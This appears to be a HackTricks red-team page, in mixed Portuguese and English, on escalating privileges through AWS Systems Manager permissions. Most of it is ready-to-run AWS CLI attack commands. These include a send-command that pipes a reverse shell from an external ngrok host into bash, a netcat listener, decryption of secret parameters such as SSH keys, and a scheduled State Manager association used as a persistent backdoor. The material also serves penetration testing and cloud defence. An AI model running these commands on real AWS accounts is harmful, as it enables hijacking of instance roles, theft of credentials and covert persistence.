AWS - SSM Privesc

Reading time: 6 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

SSM

Para mais informaçÔes sobre SSM, veja:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Um atacante com a permissão ssm:SendCommand pode executar comandos em instùncias que estejam executando o Amazon SSM Agent e comprometer a IAM Role em execução nelas.

bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Caso vocĂȘ esteja usando esta tĂ©cnica para escalate privileges dentro de uma instĂąncia EC2 jĂĄ comprometida, vocĂȘ pode simplesmente capturar o rev shell localmente com:

bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Impacto Potencial: Privesc direto para os EC2 IAM roles anexados às instùncias em execução com SSM Agents.

ssm:StartSession

Um atacante com a permissão ssm:StartSession pode iniciar uma sessão semelhante a SSH em instùncias que executam o Amazon SSM Agent e comprometer o IAM Role em execução no seu interior.

bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

caution

Em ordem para iniciar uma sessĂŁo vocĂȘ precisa do SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Impacto Potencial: privesc direto para os EC2 IAM roles anexados às instùncias em execução com SSM Agents em funcionamento.

Privesc para ECS

Quando ECS tasks são executadas com ExecuteCommand enabled usuårios com permissÔes suficientes podem usar ecs execute-command para execute a command dentro do container.
De acordo com the documentation isso Ă© feito criando um canal seguro entre o dispositivo que vocĂȘ usa para iniciar o comando “exec” e o container alvo com SSM Session Manager. (SSM Session Manager Plugin necessĂĄrio para isso funcionar)
Portanto, usuårios com ssm:StartSession poderão get a shell inside ECS tasks com essa opção habilitada apenas executando:

bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Impacto Potencial: Direct privesc para as ECSIAM roles anexadas às tarefas em execução com ExecuteCommand habilitado.

ssm:ResumeSession

Um atacante com a permissĂŁo ssm:ResumeSession pode re-iniciar uma sessĂŁo tipo SSH em instĂąncias executando o Amazon SSM Agent com um estado de sessĂŁo SSM desconectado e comprometer o IAM Role que estiver sendo executado dentro dela.

bash
# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Impacto Potencial: Direct privesc para os EC2 IAM roles atribuídos às instùncias em execução com SSM Agents ativos e sessÔes desconectadas.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Um atacante com as permissĂ”es mencionadas poderĂĄ listar os SSM parameters e lĂȘ-los em texto plano. Nesses parĂąmetros vocĂȘ frequentemente pode encontrar informaçÔes sensĂ­veis, como chaves SSH ou chaves de API.

bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Impacto Potencial: Encontrar informaçÔes sensíveis dentro dos parùmetros.

ssm:ListCommands

Um atacante com essa permissão pode listar todos os comandos enviados e, com sorte, encontrar informaçÔes sensíveis neles.

aws ssm list-commands

Impacto Potencial: Encontrar informaçÔes sensíveis dentro das linhas de comando.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Um atacante com essas permissÔes pode listar todos os commands enviados e read the output gerado, esperando encontrar informaçÔes sensíveis nele.

bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Impacto Potencial: Encontrar informaçÔes sensíveis na saída das linhas de comando.

Usando ssm:CreateAssociation

Um atacante com a permissĂŁo ssm:CreateAssociation pode criar uma State Manager Association para executar comandos automaticamente em instĂąncias EC2 gerenciadas pelo SSM. Essas associaçÔes podem ser configuradas para serem executadas em intervalos fixos, tornando-as adequadas para persistĂȘncia tipo backdoor sem sessĂ”es interativas.

bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

note

Este mĂ©todo de persistĂȘncia funciona enquanto a instĂąncia EC2 for gerida pelo Systems Manager, o agente SSM estiver em execução, e o atacante tiver permissĂŁo para criar associations. NĂŁo requer sessĂ”es interativas nem permissĂ”es explĂ­citas ssm:SendCommand. Importante: O parĂąmetro --schedule-expression (por exemplo, rate(30 minutes)) deve respeitar o intervalo mĂ­nimo da AWS de 30 minutos. Para execução imediata ou Ășnica, omita completamente --schedule-expression — a association serĂĄ executada uma vez apĂłs a criação.

Codebuild

VocĂȘ tambĂ©m pode usar o SSM para obter acesso a um projeto codebuild durante a sua construção:

AWS - Codebuild Privesc

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks